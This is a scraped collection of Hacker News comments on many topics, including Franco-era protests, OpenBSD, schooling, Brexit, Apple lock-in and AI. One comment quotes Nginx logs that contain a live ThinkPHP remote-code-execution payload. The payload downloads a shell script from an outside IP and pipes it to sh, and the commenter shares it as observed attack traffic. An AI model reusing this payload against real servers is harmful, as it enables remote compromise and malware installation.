MurphyA/hacker-news huggingface dataset:
by crazygringo | 2025-11-16 17:18:24+00:00
Where did I say anything about speech? Were you under the impression that protests are inherently non-violent? Violent protests are absolutely a thing. That's why "non-violent protest" is a term.

And of course it's armed conflict. But the point is that it's armed conflict against a fascist dictatorship killing over 100,000 civilians by most estimates -- which is what makes it considered legitimate violent protest by many people.
by perlgeek | 2025-11-16 17:18:28+00:00
Somewhat related, a psychologist I talked to in the 2000s said she really liked the Patronus concept in the Harry Potter books. You imagine an entity that's fueled by your positive memories and emotions, and that protects you from certain anxieties and other stressors.

Things like that seem to be used in at least some schools of psychology.
by dilippkumar | 2025-11-16 17:19:35+00:00
Long time OpenBSD fan. Used it as my daily driver for years before standardizing all computers at home to macOS. I still think about going back to openBSD one day, but it's no longer very practical as a daily driver.

I want to use OpenBSD for the next project I'm building. However, I can't wrap my head around the old way of doing deployments (before containers). People who've built production grade systems with OpenBSD:

1. How do you deploy software? 2. How do you manage fleets of servers? 3. How do you spin up/turn down servers from cloud providers? (I only know of Vultr who provided an OpenBSD option out of the box).
by arp242 | 2025-11-16 17:19:42+00:00
> Throwing Molotov cocktail is trivially an criminal offense.

This is a protest against a fascist regime we're talking about. I don't know the exact context of any of this because I'm not Spanish, don't speak the language, and don't really know all that much about the nuance of 1968 Spain. I'm fairly sure you're just as ignorant of this as I am but the difference is that I'm withholding strong judgement one way or the other instead of jumping on one detail.

I do know that throwing a bunch of tea you don't own in the sea is also trivially a criminal offence. Kicking the shit out of an SS-officer is also trivially a criminal offence. etc. etc. You can have a long discussion about when violence is or isn't justified. I don't know enough about this specific situation to have a strong opinion. But pretty much everyone agrees that at some point you need to look beyond the law and trying to reduce this to just a matter of the law is massively naïve at best.
by hereme888 | 2025-11-16 17:19:44+00:00
But school is 13 years of mostly boring, stressful and irrelevant learning. What adult on earth would willingly take up that sort of work? None except the small percent of academically-oriented personalities.

Teacher: "today we're going to learn about the three types of rocks, and the quadratic equation."

Student: "what for? I've never seen an adult discuss or use that in real life."

Teacher: "you might need it some day, and its part of the curriculum."
by BinaryIgor | 2025-11-16 17:19:56+00:00
I have very similar experience. In my Nginx logs, I see things like that on a regular basis:

79.124.40.174 - - [16/Nov/2025:17:04:52 +0000] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 404 555 "http://142.93.104.181:80/?XDEBUG_SESSION_START=phpstorm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" ... 145.220.0.84 - - [16/Nov/2025:15:00:21 +0000] "\x16\x03\x01\x00\xCE\x01\x00\x00\xCA\x03\x03\xF7:\xB4]D\x0C\xD0?\xEF~\xAC\xF8\x8C\x80us\xB8=\x0F\x9C\xA8\xC1\xDD\xC4\xDF2\x8CQC\x18\xDC\x1D \xD0{\xC9\x01\xEC\x227\xCB9\xBE\x8C\xE0\xB2\x9F\xCF\x97\xF6\xBE\x88z/\xD7;\xB1\x8C\xEEu\x00\xBF]<\x92\x00" 400 157 "-" "-" "-" 145.220.0.84 - - [16/Nov/2025:15:00:21 +0000] "\x16\x03\x01\x00\xCE\x01\x00\x00\xCA\x03\x03\x8A\xB5\xA4)n\x10\x8CO(\x99u\xD8\x13\x0B\xB7h7\x16\xC5[\x85<\xD3\xDC\x9C\xAB\x89\xE0\x0B\x08a\xDE \x9F2Z\xCD\xD1=\x9B\xBAU1\xF3h\xC1\xEEY<\xAEuZ~2\x81Cg\xFD\x87\x84\xA3\xBA:$\xC8\x00" 400 157 "-" "-" "-"

or:

"192.159.99.95 - - [16/Nov/2025:13:44:03 +0000] "GET /public/index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=%28wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.txg.sh%7C%7Cbusybox%20wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.txg.sh%7C%7Ccurl%20-s%20http%3A%2F%2F74.194.191.52%2Frondo.txg.sh%29%7Csh HTTP/1.1" 301 169 "-" "Mozilla/5.0 (bang2013@atomicmail.io)" "-"

These are just some examples, but they happen pretty much daily :(
by ViewTrick1002 | 2025-11-16 17:19:59+00:00
> I'm not quite sure what you meant by this. By France did you mean EDF? And which power station are you referring to?

I am not sure either. But they keep increasing the proposed subsidies for the EPR2 program, and they still haven't been able to pass them.

The French government just fell due to being underwater while being completely unable to handle it. A massive handout of tax money to the nuclear industry sounds like the perfect solution!
by righthand | 2025-11-16 17:20:28+00:00
This stood out to me because I have been involved in a small claims court case over a small amount of money (less than $2k). No one will give me advice other than "take them to small claims", because the take is too small for them to take interest and often small claims issues are really stupid disagreements between two parties where one party is not taking responsibility for some finances.

Depending on where you live, small claims can have many routes (this is good), the default is to have your case heard by a judge while you are unrepresented by a lawyer (most likely). However due to the large amount of cases and the fact that your case has very low value, the courts may push you to other routes. One route is mediation, I have been to two-forced mediation sessions and each time the opposing side states at the top they have no intent of make a deal. The second mediation the lawyer was still hostile from the start and threatened to have me pay their legal fees. This rattled me and made me reconsider my actual case. I needed clarification. I found a lawyer referral service provided by the state with a 30 minute consultation, that was affordable ($35) and even though I wasn't looking for representation it offered me a chance to have someone give me advice on the latest updates. A lawyer helped me out but not before immediately rejecting me after seeing the small amount and the small claims case information. I had to reach out again and explain that I didn't really need their representation but to weigh the threat of legal fee retaliation (though honestly what judge would allow that to happen?).

I ultimately think if we had better civics education people wouldn't feel so helpless. This entire small claims process has revealed how difficult it can be to find legal advice and how often that uphill battle can be once you're up against an opponent. It is always easier to walk away than make arguments legally you don't really know or have to get assistance. We need to start teaching civics in schools at a young age or people will feel more and more trapped by the technology they use and less empowered by the rights they have.
by varjag | 2025-11-16 17:21:01+00:00
Iran supplies Shahed long range drones to Russia for years now. They became their staple of terror bombings since.

They are also deployed domestic production of them in Russia but a substantial amount of components (foremost motors) still delivered from Iran. If you look at the chart of Russian Shahed launches you can see a lagging dip in early August after Israel's bombing of Iran in June.
by dangus | 2025-11-16 17:21:07+00:00
Honest companies with good reputations tend to get the benefit of the doubt.

E.g., how much do you expect Costco or Valve to intentionally harm their customers compared to Comcast or Electronic Arts? That’s just the old school concept of reputation at work. Companies can “buy” benefit of the doubt by being genuine and avoiding blowing smoke up people’s ass.

Anthropic has been spitting bullshit about how the AGI they’re working on is so smart it’s dangerous. So those chumps having no answers when they get hacked smells like something.

Are they telling us their magical human AGI brain and their security professionals being paid top industry rates can’t trace what happened in a breach?
by thewebguyd | 2025-11-16 17:21:07+00:00
> The fundamental question is whether Apple should be able to sell products with lock in.

Unpopular opinion in these parts, but I think yes, they should be able to (continue) to sell products with lock in.

Where Apple should get in trouble is specifically locking others out, rather than locking their own stuff in. If Apple wants to make a smartwatch that only works with iPhones, fine. What they shouldn't be able to do is block (either intentionally or via undocumented/private APIs and TOS violations) third parties from making a smartwatch for iPhone that can compete on the same playing field as the Apple Watch, with access to all of the same features.

Same goes for all tech companies. If you want to lock-in your own first party products, fine, but you absolutely should not be allowed to lock-out others.
by jv22222 | 2025-11-16 17:21:36+00:00
> in less than 6 years your 12 year old is a complete adult

They really aren't. Brains are not close to being fully developed until the age of 25.

The gift of "adult discipline" is quite a flawed idea. Depending on how far you take it, that's exactly the kind of thing that can create trauma, depression, low self esteem and perhaps worst can affect creativity self expression and just wanting to play.

Play, undiscipline, rebelliousness, is exactly where the Apple Macintosh came from and so many other amazing technologies and ideas came from in the world.

I'd say exactly the opposite, we need to find ways of removing discipline and conformity and extending play and self-expression into adult life for as long as possible as it is the foundation of so much goodness.

That said, if your idea of "Adult discipline" is chock-o-block full of play and self-expression then I'm all ears.
by SilverElfin | 2025-11-16 17:22:03+00:00
I’m seeing HUGE amounts of racism on YouTube and Twitter following the recent split on the right wing side of American politics. All of a sudden everyone feels comfortable saying Indian Americans need to go back to their countries, that they aren’t good at their jobs, that they aren’t compatible with American culture, along with more racist stereotypes I won’t repeat here.

But it extends to even denying them constitutional rights. The right is quickly adopting a Christian supremacist stance too, and I’m seeing lots of people saying Indians shouldn’t be allowed to practice Hinduism, or that they shouldn’t be allowed to build temples in America, and so on.

The isolationist “America First, America Only” side - with people like Matt Walsh and Marjorie Taylor Greene (MTG) repeating the slogan - is bringing this out. There’s a weird commonality between the push to stop H1B immigration programs, the push for secure borders against illegal immigration, the isolationist America Only people, the Nick Fuentes / Groyper people, and the anti Israel / anti Jewish people. I haven’t connected the dots but the comments on right wing content has become far worse in the last few weeks.

The article mentions of various Indian American political figures are shocked. Some may call them naive for ever thinking the right could be a home for them. But I personally don’t fault them. I don’t know how they feel or see the world but to me the recent surge in extremist racism on the right is shocking.
by phplovesong | 2025-11-16 17:22:26+00:00
Go has probably more packages than Rust, but i rarely see Go projects that use as many as rust. In Go the usuals are depending on the app, possibly some db drivers, a simple router and maybe some crypto related thing. Most projects do fine with just the stdlib. In rust i tend to see 100 deps, and 1000 transient deps. Compile times are not in seconds, but minutes.
by pdubroy | 2025-11-16 17:23:11+00:00
(OP here) It’s possible, but I doubt it. Perhaps the way I wrote it makes it sound like I was thinking about it as a GC problem from the beginning, but I wasn’t. It wasn’t until I started seeing it as as being like GC that (a) I realized that my naive solution was akin to tracing GC, and (b) I came up with the reference counting solution.
by sva_ | 2025-11-16 17:23:24+00:00
> like vps game server hoster from Brazil and so on.

Probably someone DDoSing a Minecraft server or something.

People in games do this where they DDoS each other. You can get access to a DDoS panel for as little as $5 a month.

Some providers allow for spoofing the src ip, that's how they do these reflection attacks. So you're not actually dropping the sender of these packets, but the victims.

Consider turning reverse path filter to strict as a basic anti spoofing method and see if it helps

net.ipv4.conf.all.rp_filter = 1 net.ipv4.conf.default.rp_filter = 1
by NitpickLawyer | 2025-11-16 17:23:55+00:00
What's your intuition on other "directions"? Have you tried it on something other than "refusals"? Say "correctness" in math or something like that. I have some datasets prepared for DPO on "thinking" traces that are correct / incorrect, wondering if it'd be something that could work, or if it's out of scope (i.e. correctness is not a single direction, like refusal training)
by chongli | 2025-11-16 17:23:56+00:00
I did some more research. The Romans actually had dedicated hunting units attached to their armies, called venatores. They hunted wild game for food and also captured animals to return to the city for entertainment (venationes) and public executions (damnatio ad bestias).

So not only did they hunt, they made it a formal part of their military, not merely an opportunistic food source.

I have to say, I don't appreciate that you would take such an obstinate stance without doing any research of your own. It's intellectually lazy.
by aiisjustanif | 2025-11-16 17:23:57+00:00
> there was no impact on the UK from leaving. No negative impact on GDP, no negative impact on trade with the EU, no change to academic funding

I think that is a bit disingenuous

- Good exports are down significantly and exponentially while services exported are up significantly [1]. This has a massive impact on agriculture, fishing as well but it is its own can of worms historically.

- Migration between EU continues to drop and the promise that free movement would continue is not true [2]. There is a stagnation and decline in speciality medical jobs in the UK post Brexit [4] and a significant decrease in investment forecast and outrun [5]. These both have led to less than projected increases UK job numbers.

- The UK is now paying the EU £6.4bn a year for no benefit [3]

[1]: https://www.aston.ac.uk/sites/default/files/2024-09/Full%20R...

[2]: https://www.ons.gov.uk/peoplepopulationandcommunity/populati...

[3]: https://assets.publishing.service.gov.uk/media/65fc4485a6c0f...

[4]: https://www.nuffieldtrust.org.uk/news-item/has-brexit-affect...

[5]: https://www.camecon.com/hubfs/145725293/GLA_Impacts-of-Brexi...
Ask HN: Cloud providers are losing in favor of bare-metal?
by clostao | 2025-11-16 17:23:58+00:00
Lately, I’ve noticed a new trend on X: Devs (and indie hackers in particular) are ditching cloud providers and jumping straight to bare-metal servers like Hetzner.

Honestly, I think the big cloud companies just haven’t kept up. Their services feel clunky compared to the standalone alternatives. Just try comparing Vercel’s dev experience to Amplify’s, and you’ll see what I mean. On top of that, AWS has gotten way stingier with startup credits.

Put those two together, and it’s no surprise fewer people are hosting their MVPs on AWS. It’s tough to stay under $150/month with a database and a server, while on bare metal you can grab 16 GB RAM for around $20/month.

- Do you think the cloud is actually losing ground? - And for those using bare-metal: how do you handle DB backups, CI/CD, and pulling logs? - Would you scale something using bare-metal servers?

[Carlos](https://github.com/clostao)
by rootusrootus | 2025-11-16 17:24:13+00:00
I'm not a coffee drinker normally, I have never acquired the taste, but I had some hand-picked perfectly roasted coffee on our last visit to Kona and it was divine. Completely straight, nothing added. I have some appreciation now of why some people like coffee, as I could drink that every day. I probably couldn't handle that much caffeine, however.
by HarHarVeryFunny | 2025-11-16 17:24:15+00:00
I guess the trillon dollar question is what might be the signs that we're at the top of this bubble.

Looking at a couple of prior bubbles ...

In the subprime housing crash of 2007/2008, lending practices got so bad that there were low-doc and no-doc loans (aka "liar loans") where you could get a mortgage without any evidence of being able to repay it.

Immediately prior to the dot com stock market crash of 2000, EVERYONE was talking about how much money they were making. At work it was insane with people monitoring their stock portfolios all day, reporting how much money they'd made that morning, etc. Tons of people were beyond "all in" - buying on margin.

So what about now with AI market caps, infrastructure builds, etc. Are we in the bat shit crazy "all in" stage yet, or can it conceivably go further?
by lkey | 2025-11-16 17:24:20+00:00
| Nobody wanted her tortured except the criminals torturing her.

Oh, word? It's dope you know the inner thoughts of everyone involved.

| Throwing Molotov cocktail is trivially an criminal offense.

Article didn't say she threw them herself, 'a few' of a group she was part of did. Glad you're taking the maximalist, guilty until proven innocent, position on conviction by association in the Franco Regime.
by noelwelsh | 2025-11-16 17:24:37+00:00
The quote:

1. Indicates this a human interest story

2. Is by definition of an accurate representation of the words of the person they are quoting

3. Is a reasonable overview of a complex story, given we understand that "free-spirited" is subjective and that, again, this is a human interest story and conveying the feelings of the people involved is part of the point.
by mariodiana | 2025-11-16 17:24:53+00:00
I'm may be a little off-topic here (but I don't think so).

In my opinion, elementary school (grades K-5) should really focus a good deal on rote memorization, but only if this focuses on teaching every kind of game and technique to facilitate that kind of learning. By that I mean making flash cards, learning to create and use mnemonic devices, etc.

I just asked ChatGPT, and got something like 15 different techniques, some of which can be used with kindergarteners, all of which can be used by grade 5.

There are always going to be "boring" things to learn. These things are often no longer boring once you know them by heart. In fact, they're often extremely valuable to know. I think by grade 5, if kids are going to be taught anything, they need to be taught the techniques that they can use—on their own—to make learning fun.
by danaris | 2025-11-16 17:25:38+00:00
Brains continue to develop through our whole lives.

The study that appeared to show them stopping development at 25 did not have any participants older than 25.

The difference between an 18-year-old and a 24-year-old is much more comparable to the difference between a 24-year-old and a 30-year-old.

We should be treating teenagers much more as adults-in-training, in the sense of meaningfully giving them the tools to succeed as adults, rather than treating them like pure innocent children who must be sheltered from absolutely everything hard, scary, or taboo.

However, as it stands we generally do not do that—hence, in this case, she was indeed a child, and should have been given compassion, better tools, and better chances, not locked up.
by amelius | 2025-11-16 17:25:39+00:00
I wonder why people keep pouring energy into this bottomless pit of a vendor locker.

Surely, Apple will close this hole in the next version.

They're a user-hostile company. I stopped bothering with it years ago.

Yes, their hardware might be slightly better than the competition, but the difference is not earth-shattering. Certainly not worth all the trouble and uncertainty of what will happen next year when Apple improves their vendor locking.

My advice: stop feeding the beast, and start owning your hardware!
by ViewTrick1002 | 2025-11-16 17:25:46+00:00
It is all about having the workforce able to deliver on the military ambitions.

This has been well known for a while, and western governments have started to say the quiet part out loud to justify the insanely large handouts required to build civillian nucleaar power.

https://theconversation.com/military-interests-are-pushing-n...
by NitpickLawyer | 2025-11-16 17:26:18+00:00
That's an interesting testing case, not for the political aspect, but for the data aspect. One would assume that the totality of "sensitive" data (especially in chinese) that gets thrown into the training dataset is quite limited. Getting a model that wasn't trained on such data (presumably) to actually talk about it would be an interesting exercise. Tho I'd suggest doing it with smaller models first.
Show HN: A desktop app to manage Claude Code config
by djyde | 2025-11-16 17:26:26+00:00
Hey HN, I built CC Mate because I was tired of manually editing JSON files to configure Claude Code.

Claude Code is amazing, but managing its configurations through scattered JSON files is a nightmare. You have to dig into ~/.claude/settings.json for basic settings, ~/.claude.json for MCP servers, and create various directories for agents, commands, and memory files. CC Mate (https://randynamic.org/ccmate) is a modern Tauri desktop application that solves this by providing: Core Configuration Management - Switch between multiple Claude Code configurations effortlessly (perfect for different projects or work/personal setups) - Edit all settings with a beautiful JSON editor with syntax highlighting and validation - Automatic backup of existing configurations on first run - Read-only support for enterprise managed settings Advanced Claude Code Features - MCP Server Management: Configure Model Context Protocol servers through a clean UI instead of editing ~/.claude.json manually - Agent Management: Create and manage Claude Code agents with markdown editing - Global Commands: Set up and organize global slash commands - CLAUDE.md Integration: Edit your global Claude memory file directly - Usage Analytics: Track and visualize your Claude Code usage with charts Technical Highlights - Built with Tauri v2 (Rust backend + React frontend) - Native performance with tiny footprint (~15MB) - Cross-platform (macOS, Windows, Linux) - Real-time configuration switching without restarting Claude Code - JSON schema validation to prevent configuration errors The Problem It Solves Before CC Mate, if you wanted to: - Switch between work and personal Claude configurations → Manual JSON file editing - Add a new MCP server → Edit ~/.claude.json with correct syntax - Set up a new agent → Create markdown files in specific directories - Track your usage → Parse JSONL files manually Now you can do all of this through an intuitive interface in seconds. The app is free and open source (AGPL v3). Downloads are available for all major platforms at https://randynamic.org/ccmate Would love to hear your thoughts on this approach to solving Claude Code configuration management!
by greatgib | 2025-11-16 17:27:18+00:00
So totally useless...

Sure it is good to keep oversight on AI use and co, but this only purpose is to feed countless useless executives and consultants shitting paper.

In the end, the company will be happy to put the "iso" sticker, and will stash the thousand page documents in a drawer with no one reading it and the company will continue to work the same as if this was not done. Just with money burned on the way.